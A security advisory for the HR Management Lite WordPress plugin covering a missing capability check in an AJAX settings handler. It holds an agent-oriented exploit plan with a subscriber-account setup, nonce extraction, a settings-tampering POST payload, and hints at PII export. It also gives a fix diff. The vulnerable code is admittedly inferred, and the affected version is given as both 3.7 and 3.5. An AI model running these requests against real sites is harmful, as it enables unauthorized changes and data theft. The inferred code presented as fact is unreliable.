HR Management Lite <= 3.7 - Missing Authorization
Description
The HR Management Lite plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 3.7. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.7This research plan focuses on identifying and exploiting a missing authorization vulnerability in **HR Management Lite <= 3.5**. Based on the vulnerability type and version, the primary target is an AJAX handler (likely `hrm_lite_save_settings` or similar) that performs state-changing operations wit…
Show full research plan
This research plan focuses on identifying and exploiting a missing authorization vulnerability in HR Management Lite <= 3.5. Based on the vulnerability type and version, the primary target is an AJAX handler (likely hrm_lite_save_settings or similar) that performs state-changing operations without verifying the user's capabilities.
1. Vulnerability Summary
- Vulnerability: Missing Authorization
- Affected Component: AJAX handlers registered via
wp_ajax_*hooks. - File Location: Likely
admin/class-hrm-lite-admin.phpor the main plugin file. - Cause: The plugin registers AJAX actions for authenticated users but fails to call
current_user_can( 'manage_options' )within the handler function. While it may implement a nonce check, nonces are often exposed to all authenticated users (including Subscribers), making the check insufficient for authorization.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Authentication: Required (Subscriber-level or higher).
- Vulnerable Action:
hrm_lite_save_settings(inferred target for state modification). - Payload Parameter:
action,hrm_lite_nonce(or similar), and various setting fields (e.g.,hrm_lite_general_settings[...]). - Preconditions: An attacker must have a valid Subscriber account and obtain a valid nonce.
3. Code Flow (Inferred)
- Registration: The plugin registers the AJAX handler:
add_action( 'wp_ajax_hrm_lite_save_settings', [ $this, 'hrm_lite_save_settings' ] ); - Trigger: A Subscriber sends a POST request to
admin-ajax.phpwithaction=hrm_lite_save_settings. - Handler Execution: The function
hrm_lite_save_settings()is called. - Insecure Check:
public function hrm_lite_save_settings() { check_ajax_referer( 'hrm_lite_nonce', 'security' ); // Nonce check only // MISSING: if ( ! current_user_can( 'manage_options' ) ) wp_die(); $settings = $_POST['hrm_lite_general_settings']; update_option( 'hrm_lite_general_settings', $settings ); wp_send_json_success(); } - Sink:
update_option()modifies global plugin configuration.
4. Nonce Acquisition Strategy
The plugin likely localizes a nonce for its admin or frontend scripts. Since Subscribers can access the dashboard or profile, the nonce is likely leaked there.
- Identify Shortcodes/Pages: Search for
add_shortcodein the plugin code to find pages where the plugin might load its assets. - Check Localized Scripts: Search for
wp_localize_scriptto find the JavaScript object name.- Search Command:
grep -rn "wp_localize_script" .
- Search Command:
- Create Test Page: Create a page with a relevant shortcode (if needed) to ensure scripts are enqueued.
- Browser Extraction:
- Navigate to
/wp-admin/profile.phpor a page containing the plugin shortcode as the Subscriber. - Execute:
browser_eval("window.hrm_lite_vars?.nonce")(Replacehrm_lite_varsandnoncewith actual keys found in Step 2).
- Navigate to
5. Exploitation Strategy
Step 1: Discover Actual Identifiers
Since source files are not provided, the agent must first find the exact action and nonce names:
# Find AJAX actions
grep -r "wp_ajax_" .
# Find the handler code to confirm missing current_user_can
# Example: grep -A 20 "function hrm_lite_save_settings" path/to/file.php
# Find the nonce action and JS variable name
grep -r "wp_create_nonce" .
grep -r "wp_localize_script" .
Step 2: Perform the Exploit
Assuming the action is hrm_lite_save_settings and the nonce key is security:
- Request URL:
http://vulnerable-hostname/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Payload:
action=hrm_lite_save_settings&security=[EXTRACTED_NONCE]&hrm_lite_general_settings[company_name]=VULNERABLE_BY_SUBSCRIBER
6. Test Data Setup
- Install and activate
hr-management-lite<= 3.5. - Create a Subscriber user:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Identify a shortcode (e.g.,
[hrm_lite_attendance]) and create a page for it:wp post create --post_type=page --post_title="HR Interface" --post_status=publish --post_content="[hrm_lite_attendance]"
7. Expected Results
- The AJAX request should return a
200 OKstatus with a JSON response:{"success":true}. - The plugin's general settings (stored in the database) will be updated despite the request originating from a Subscriber.
8. Verification Steps
After sending the HTTP request, verify the change via WP-CLI:
# Check the specific option modified
wp option get hrm_lite_general_settings
Confirmation: If the company_name (or relevant key) in the returned array matches VULNERABLE_BY_SUBSCRIBER, the exploit is successful.
9. Alternative Approaches
- Information Disclosure: If
hrm_lite_save_settingsis not the target, look for actions likehrm_lite_export_employeesorhrm_lite_get_attendance. These might allow a Subscriber to download sensitive PII of other employees. - Privilege Escalation: Check if the settings save function allows modifying user roles or enabling "Anyone can register" with a default role of "Administrator" (though less likely in this specific plugin).
- Blind Test: If the response is not JSON, check the database state directly after every attempt to see which parameters influenced the
update_optioncall.
Summary
The HR Management Lite plugin for WordPress suffers from an authorization bypass in its AJAX handlers up to version 3.5. Authenticated attackers with Subscriber-level privileges can modify plugin settings or perform restricted actions because the code fails to verify user capabilities before executing sensitive state-changing operations.
Vulnerable Code
// admin/class-hrm-lite-admin.php (Inferred location) // The plugin registers the AJAX handler for authenticated users add_action( 'wp_ajax_hrm_lite_save_settings', [ $this, 'hrm_lite_save_settings' ] ); --- // admin/class-hrm-lite-admin.php (Inferred location) public function hrm_lite_save_settings() { // Nonce check ensures the request is intentional, but not that the user is authorized check_ajax_referer( 'hrm_lite_nonce', 'security' ); // MISSING: current_user_can( 'manage_options' ) check if ( isset( $_POST['hrm_lite_general_settings'] ) ) { $settings = $_POST['hrm_lite_general_settings']; update_option( 'hrm_lite_general_settings', $settings ); wp_send_json_success(); } }
Security Fix
@@ -10,6 +10,10 @@ public function hrm_lite_save_settings() { check_ajax_referer( 'hrm_lite_nonce', 'security' ); + + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => __( 'Unauthorized', 'hr-management-lite' ) ) ); + } + if ( isset( $_POST['hrm_lite_general_settings'] ) ) { $settings = $_POST['hrm_lite_general_settings']; update_option( 'hrm_lite_general_settings', $settings );
Exploit Outline
1. Authenticate to the WordPress site as a Subscriber-level user. 2. Locate the `hrm_lite_nonce` by inspecting the page source or global JavaScript objects (e.g., localized via `wp_localize_script`) on pages where the plugin loads its assets. 3. Prepare a POST request to `/wp-admin/admin-ajax.php` with the following body parameters: - action: hrm_lite_save_settings - security: [EXTRACTED_NONCE] - hrm_lite_general_settings[company_name]: Malicious_Value 4. Execute the request. The server will return a success response even though the user lacks administrative permissions. 5. Verify that the plugin settings have been modified in the database or reflected in the administrative interface.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.